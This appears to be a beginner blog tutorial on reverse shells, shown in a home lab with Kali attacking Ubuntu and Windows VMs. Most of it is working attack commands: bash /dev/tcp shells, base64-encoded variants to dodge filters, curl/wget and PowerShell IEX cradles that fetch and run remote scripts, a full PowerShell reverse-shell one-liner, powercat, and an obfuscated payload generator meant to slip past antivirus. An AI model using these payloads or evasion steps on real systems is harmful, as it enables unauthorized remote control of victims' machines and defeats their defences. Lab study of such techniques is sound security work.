Reverse Shells for Dummies

One of the few concepts in real-life hacking that lives up to depictions of hacking in movies and TV are reverse shells. Reverse shells are a common method of compromise used by hackers to gain access to systems via a ‘shell’. In plain English, it is a way to trick a system into sending an interactive command line interface, or ‘shell’, back to a hacker’s system. This lets the hacker execute system commands on the victim machine remotely, thereby compromising the victim machine.
There are two types of ‘shells’: ‘reverse’ and ‘bind’. Reverse shells are what I’ll be focusing on, since they are used 99% of the time in hacking. The difference between the two is that reverse shells trick a victim machine into sending a shell back to an attacker’s machine on a specific port, while bind shells leave a port open on the victim machine so that the attacker machine can connect to it. Please refer to the following diagram:

Bind shells aren’t used that much (even though they sound way cooler), because they leave a bigger footprint behind than reverse shells. Think about it, you have to leave a port open for a bind shell regardless of whether or not you are currently connected to it. This can be picked up pretty easily by antivirus software or system admins. Reverse shells only leave ports open as long as you are actively connected to them. This is still detectable, but theoretically much less so.
With that out of the way, let’s get cooking. Throughout this guide I’ll have two virtual machines running. The first is Kali Linux, which will be the attacker machine (naturally). The second will be Ubuntu Linux, which will be a victim machine. Both of these virtual machines will have NAT connections enabled for easy communication. I’ll also be using my host OS, a Windows machine, as a victim machine to demonstrate reverse shells on Windows.
Now we need to know some local IP addresses. This is simple to find out on Linux:
ifconfig

On Windows the command is similar:
ipconfig
So in my own environment, the relevant machines have the following IP addresses:
| Machine Name | IP Address | Machine Type |
| Kali | 192.168.226.146 | Attacker |
| Ubuntu | 192.168.226.153 | Victim |
| Windows | 192.168.50.72 | Victim |
Keep in mind if you are following along at home, your own environment will almost certainly have different local IP addresses for these machines. Be sure to look them up yourself.
Now in Kali we need to start a listener that will ‘catch’ any reverse shells we send its way. We can use Netcat for this:
nc -nlvp 4242
In this command we need to specify the port number we want to listen on. This will be important later. Being a fan of Hitchhikers Guide to the Galaxy, I like to use the enigmatic port number 4242. You can choose whatever number you like, just as long as it doesn’t conflict with any open port on your system. You’ll also need to re-run this command between subsequent shells, otherwise there won’t be anything available to catch them.
Alright, let’s get into our first reverse shell. I’ll start with Linux shells since they are generally easier to setup
Linux Reverse Shells
The most basic reverse shell command on Linux is as follows:
/bin/bash -c 'bash -i >& /dev/tcp/192.168.226.146/4242 0>&1'
Notice how I’ve inserted the IP address of my Kali machine in there as well as port 4242. You’ll have to do the same. These values are what point the shell to the listener running on the attacker machine, so getting them wrong will result in no shell. Running this on the Ubuntu machine with our listener running on Kali should give us our first shell:


Nice. Computer successfully hacked.
Life is rarely so simple though. There are often checks in place on victim servers to check for and deny commands that include special characters associated with reverse shell commands. Here are a couple ways to get around them.
First off, base64. We can use base64 encoding to trick a victim machine into executing commands that have these special characters. We can convert the previous shell command into base64 pretty easily on Kali:
echo "/bin/bash -c 'bash -i >& /dev/tcp/192.168.226.146/4242 0>&1'" | base64
We can then feed the resultant base64 sting into a series of commands which should decode and then execute our original command
echo "L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjI2LjE0Ni80MjQyIDA+
JjEnCg==" | base64 -d | bash

Hacked again. Sweet.
The second method is a bit more versatile and involves downloading a file off of our attacker machine and then executing it. Here’s the basic setup.
Let’s start by making a new directory, changing into it, and then echoing out our reverse shell command into a bash script file called ‘rshell.sh’
mkdir transfers
cd transfers
echo "/bin/bash -c 'bash -i >& /dev/tcp/192.168.226.146/4242 0>&1'" > rshell.sh
OK. Now we can start a simple HTTP server in this directory with Python3
python3 -m http.server 80
Now we have an HTTP server running on our attacker machine on the default port 80. We should be able to fetch files from this server onto the victim machine now.
We don’t want to just fetch files, we also want to execute them. We can do this by fetching the file from our attacker machine with curl and then feeding the raw content directly into a binary. Since ‘rshell.sh’ is a bash script, we’ll want to feed this into the ‘bash’ binary
curl 192.168.226.146/rshell.sh | bash


Sweet. If for some reason the victim machine doesn’t have curl installed, you can also use wget:
wget 192.168.226.146/rshell.sh && bash rshell.sh

The cool thing about this approach is you can use all kinds of alternate file types. PHP, PERL, and Python are all commonly installed on Linux servers and can all be used to get reverse shells. I’ll link to some popular reverse shell scripts and show how to execute them.
PHP
https://github.com/ivan-sincek/php-reverse-shell
curl 192.168.226.146/php_reverse_shell.php | php
#or
wget 192.168.226.146/php_reverse_shell.php && php php_reverse_shell.php
Note: this particular PHP script is pretty badass because it works on both Linux AND Windows.
PERL
https://github.com/pentestmonkey/perl-reverse-shell/tree/master
curl 192.168.226.146/perl-reverse-shell.pl | perl
#or
wget 192.168.226.146/perl-reverse-shell.pl && perl perl-reverse-shell.pl
Python
https://github.com/orestisfoufris/Reverse-Shell---Python/tree/master
#with this script in particular, also try 'python3' for the binary
curl 192.168.226.146/reverseshell.py | python
#or
wget 192.168.226.146/reverseshell.py && python reverseshell.py
That about does it for Linux reverse shells. There are a lot of other considerations, but I’m just covering the basics in this guide.
Windows Reverse Shells
Note: if you are following along at home then you will want to disable any antivirus software you have running on your Windows computer for the next few shells. Just remember to reenable it once you’re done.
Getting a shell on a Windows computer is generally more difficult than on Linux. For a visual demonstration: here is an equivalent ‘one-liner’ reverse shell for Windows PowerShell:
#code credit: https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3
$client = New-Object System.Net.Sockets.TCPClient('192.168.226.146',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Yeah, it’s pretty bad. Here’s proof it works though:


The problem with this ‘one-liner’ is that it requires a PowerShell prompt, not the standard Windows Command Prompt (CMD). Most Windows programs will be running from a CMD prompt, so this ‘one-liner’ won’t work. There is a workaround though.
We can save this ‘one-liner’ to a PowerShell script on our attacker machine and then use the same file-fetching-and-execution exploit from before to execute it via PowerShell on a CMD prompt. First thing I’ll save this ‘one-liner’ code to a file on my attacker machine called ‘rshell.ps1’

Now I’ll host this file in a simple HTTP server just like before
python3 -m http.server 80
Now we need to fetch and execute this file on the victim machine. I’ll ensure I’m in a standard CMD prompt and then execute the following command:
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.226.146/rshell.ps1')"

Confirmed, nice. As you can see, the resultant shell is a PowerShell prompt (The ‘PS’ on the final line gives it away). Sometimes though we don’t want PowerShell and just want a stand CMD shell. I have just the thing for that.
It’s called Powercat. Here’s a link:
https://github.com/besimorhino/powercat
Download the ‘powercat.ps1’ PowerShell script onto your attacker machine and host it in the directory you are serving via HTTP. Getting a CMD shell is now as simple running:
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.226.146/powercat.ps1');powercat -c 192.168.226.146 -p 4242 -e cmd"

Notice the ‘C’ in the final line there. We have a standard CMD shell. If this command isn’t working but you were able to get a PowerShell reverse shell, then you can run the following portion of the previous command in the PowerShell prompt to get a CMD shell:
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.226.146/powercat.ps1');powercat -c 192.168.226.146 -p 4243 -e cmd

Now if you read the very first note in this section, you’ll know that standard Windows antivirus software is almost guaranteed to catch and stop these shell commands from executing. If you want to try and bypass antivirus software, read on.
First you’ll need the code from the following GitHub repo:
https://github.com/gh0x0st/Get-ReverseShell
I’ll go ahead and clone this onto my attacker Kali machine
git clone https://github.com/gh0x0st/Get-ReverseShell.git
Now I’ll cd into the resultant ‘Get-ReverseShell’ directory and open up a PowerShell session in Kali
cd Get-ReverseShell
pwsh
Now we need to import the ‘get-reverseshell.ps1’ file into our PowerShell session
. ./get-reverseshell.ps1
Finally, we can generate an obfuscated reverse shell PowerShell script with the following command:
Get-ReverseShell -Ip 192.168.226.146 -Port 4242 -OutFile obfuscated.ps1
That created a new file ‘obfuscated.ps1’. This file executes a reverse shell via PowerShell on Windows, but the actual code that does this is so unusual and confusing that standard antivirus software is unlikely to catch it. I’ll close the PowerShell session and host this file just like before via HTTP
exit
python3 -m http.server 80
Finally, it’s time to fetch and execute our ‘obfuscated.ps1’ file on the victim machine
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.226.146/obfuscated.ps1')"

Not to completely dunk on Trend Micro. Here’s what happens when I try to run the unobfuscated ‘rshell.ps1’ file from before:

So it’s not completely useless, just easy to bypass.
Side note: you can quickly and easily test files against various antivirus solutions at the following site:
https://www.virustotal.com
I tested the ‘obfuscated.ps1’ file on there and these were the results:

So there you have it, a crash course on reverse shells. If you are at all interested in diving into the world of hacking, then I’d say this is a great place to start. I’ll finish on some advice for times when you can’t get reverse shells to work:
- Double check you have you have the attacker IP address correct. Don’t roll your eyes at me, this is standard stuff. I can’t tell you how much time I’ve wasted because I didn’t have this value correct
- Experiment with different port values for your listener. Sometimes firewalls will block traffic on unusual ports. Try standard ports like 80, 443, 22, 445, 25, etc. Don’t give up because one port isn’t working
- Try different methods of obtaining a shell. If you are on Linux, try Bash, PHP, PERL, and Python. Windows, try a variety of PowerShell scripts (also the PHP reverse shell I shared). Don’t try one and quit when it doesn’t work
- If you are still stuck, then I refer you to the ultimate guide on reverse shells. It has just about every method of obtaining a reverse shell known to man. I’ve used it quite a lot. Link below:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
So that’ll do it for this guide. I went into it wanting to share knowledge I wish I had the first time I tried to get a reverse shell. I didn’t get into meterpreter shells in this guide, as I wanted to stick with the basics. Maybe that will be a future guide? I hope this was helpful for you, and I also hope you have a good day.